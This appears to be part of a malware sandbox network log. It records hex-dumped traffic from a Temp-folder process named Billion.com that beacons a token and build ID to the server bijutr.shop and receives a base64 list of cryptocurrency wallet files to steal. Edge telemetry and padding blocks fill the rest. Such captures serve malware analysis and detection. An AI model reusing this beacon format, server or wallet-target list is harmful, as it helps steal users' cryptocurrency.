41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50071	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:41 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----M79RQ1VS0ZU3EUASJMGV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:41 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 37 39 52 51 31 56 53 30 5a 55 33 45 55 41 53 4a 4d 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4d 37 39 52 51 31 56 53 30 5a 55 33 45 55 41 53 4a 4d 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 4d 37 39 52 51 31 56 53 30 5a 55 33 45 55 41 53 4a 4d 47 56 0d 0a 43 6f 6e 74 Data Ascii: ------M79RQ1VS0ZU3EUASJMGVContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------M79RQ1VS0ZU3EUASJMGVContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------M79RQ1VS0ZU3EUASJMGVCont
2024-12-24 18:28:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:42 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50074	20.189.173.2	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:42 UTC	1071	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735064920167&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11902 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=302665E99E416E3C182470B69FCB6F6B; _EDGE_S=F=1&SID=0DE3EBFAB5BE6BFF1F65FEA5B4FF6AFE; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-24 18:28:42 UTC	11902	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 34 54 31 38 3a 32 38 3a 34 30 2e 31 36 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 66 34 38 64 30 61 64 2d 39 65 62 30 2d 34 64 66 33 2d 62 63 36 62 2d 35 63 31 32 33 31 64 39 32 33 62 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 36 30 31 37 35 39 37 30 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-24T18:28:40.165Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"ef48d0ad-9eb0-4df3-bc6b-5c1231d923b9","epoch":"3601759707"},"app":{"locale
2024-12-24 18:28:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5556440dd7f446ce8b2fb9e151d9af20&HASH=5556&LV=202412&V=4&LU=1735064923209; Domain=.microsoft.com; Expires=Wed, 24 Dec 2025 18:28:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=140aea28f98b4297838400d2f698d2c2; Domain=.microsoft.com; Expires=Tue, 24 Dec 2024 18:58:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3042 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 24 Dec 2024 18:28:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50075	20.189.173.2	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:42 UTC	1071	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735064920176&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 33279 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=302665E99E416E3C182470B69FCB6F6B; _EDGE_S=F=1&SID=0DE3EBFAB5BE6BFF1F65FEA5B4FF6AFE; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-24 18:28:42 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 34 54 31 38 3a 32 38 3a 34 30 2e 31 37 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 66 34 38 64 30 61 64 2d 39 65 62 30 2d 34 64 66 33 2d 62 63 36 62 2d 35 63 31 32 33 31 64 39 32 33 62 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 36 30 31 37 35 39 37 30 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-24T18:28:40.174Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"ef48d0ad-9eb0-4df3-bc6b-5c1231d923b9","epoch":"3601759707"},"app":{"locale
2024-12-24 18:28:42 UTC	16384	OUT	Data Raw: 53 74 61 74 69 63 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 6f 63 69 64 22 3a 22 6d 73 65 64 67 64 68 70 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 2f 65 64 67 65 2f 6e 74 70 3f 6c 6f 63 61 6c 65 3d 65 6e 2d 47 42 26 74 69 74 6c 65 3d 4e 65 77 25 32 30 74 61 62 26 64 73 70 3d 31 26 73 70 3d 42 69 6e 67 26 69 73 46 52 45 4d 6f 64 61 6c 42 61 63 6b 67 72 6f 75 6e 64 3d 31 26 73 74 61 72 74 70 61 67 65 3d 31 26 50 43 3d 55 35 33 31 26 6f 63 69 64 3d 6d 73 65 64 67 64 68 70 22 2c 22 76 69 65 77 54 79 70 65 22 3a 22 73 69 7a 65 33 63 6f 6c 75 6d 6e 22 2c 22 74 68 65 6d 65 22 3a 22 6c 69 Data Ascii: Static":false,"name":"default","ocid":"msedgdhp","product":"anaheim","type":"dhp","url":"https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531&ocid=msedgdhp","viewType":"size3column","theme":"li
2024-12-24 18:28:42 UTC	511	OUT	Data Raw: 6e 5d 2f 73 74 61 74 69 63 73 62 2f 73 74 61 74 69 63 73 2f 6c 61 74 65 73 74 2f 62 72 61 6e 64 2f 6e 65 77 2d 6d 73 6e 2d 6c 6f 67 6f 2d 63 6f 6c 6f 72 2d 62 6c 61 63 6b 2e 73 76 67 22 3a 7b 22 74 79 70 65 22 3a 22 6f 22 2c 22 73 70 61 6e 73 22 3a 7b 22 6e 65 74 77 6f 72 6b 22 3a 5b 31 37 30 36 31 2c 33 35 30 5d 7d 2c 22 64 75 72 61 74 69 6f 6e 73 22 3a 7b 22 63 6f 6e 6e 65 63 74 22 3a 31 33 2c 22 72 65 71 75 65 73 74 22 3a 33 33 37 2c 22 63 64 6e 54 43 50 22 3a 33 31 36 2c 22 63 64 6e 53 65 6c 66 22 3a 30 2c 22 63 64 6e 4f 72 69 67 69 6e 22 3a 30 7d 2c 22 73 63 61 6c 61 72 73 22 3a 7b 22 73 69 7a 65 22 3a 32 30 37 30 2c 22 63 61 63 68 65 22 3a 30 7d 7d 2c 22 5b 63 64 6e 5d 2f 73 74 61 74 69 63 73 62 2f 73 74 61 74 69 63 73 2f 6c 61 74 65 73 74 2f 69 63 Data Ascii: n]/staticsb/statics/latest/brand/new-msn-logo-color-black.svg":{"type":"o","spans":{"network":[17061,350]},"durations":{"connect":13,"request":337,"cdnTCP":316,"cdnSelf":0,"cdnOrigin":0},"scalars":{"size":2070,"cache":0}},"[cdn]/staticsb/statics/latest/ic
2024-12-24 18:28:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=60195b9e993d46eb8c10cac2c472a656&HASH=6019&LV=202412&V=4&LU=1735064923059; Domain=.microsoft.com; Expires=Wed, 24 Dec 2025 18:28:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=cf7be54bb40d4fafafa79dd0a9085ce4; Domain=.microsoft.com; Expires=Tue, 24 Dec 2024 18:58:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2883 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 24 Dec 2024 18:28:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50080	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:43 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----RQ9ZCBA1N7QQQI5XT0H4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:43 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 52 51 39 5a 43 42 41 31 4e 37 51 51 51 49 35 58 54 30 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 52 51 39 5a 43 42 41 31 4e 37 51 51 51 49 35 58 54 30 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 52 51 39 5a 43 42 41 31 4e 37 51 51 51 49 35 58 54 30 48 34 0d 0a 43 6f 6e 74 Data Ascii: ------RQ9ZCBA1N7QQQI5XT0H4Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------RQ9ZCBA1N7QQQI5XT0H4Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------RQ9ZCBA1N7QQQI5XT0H4Cont
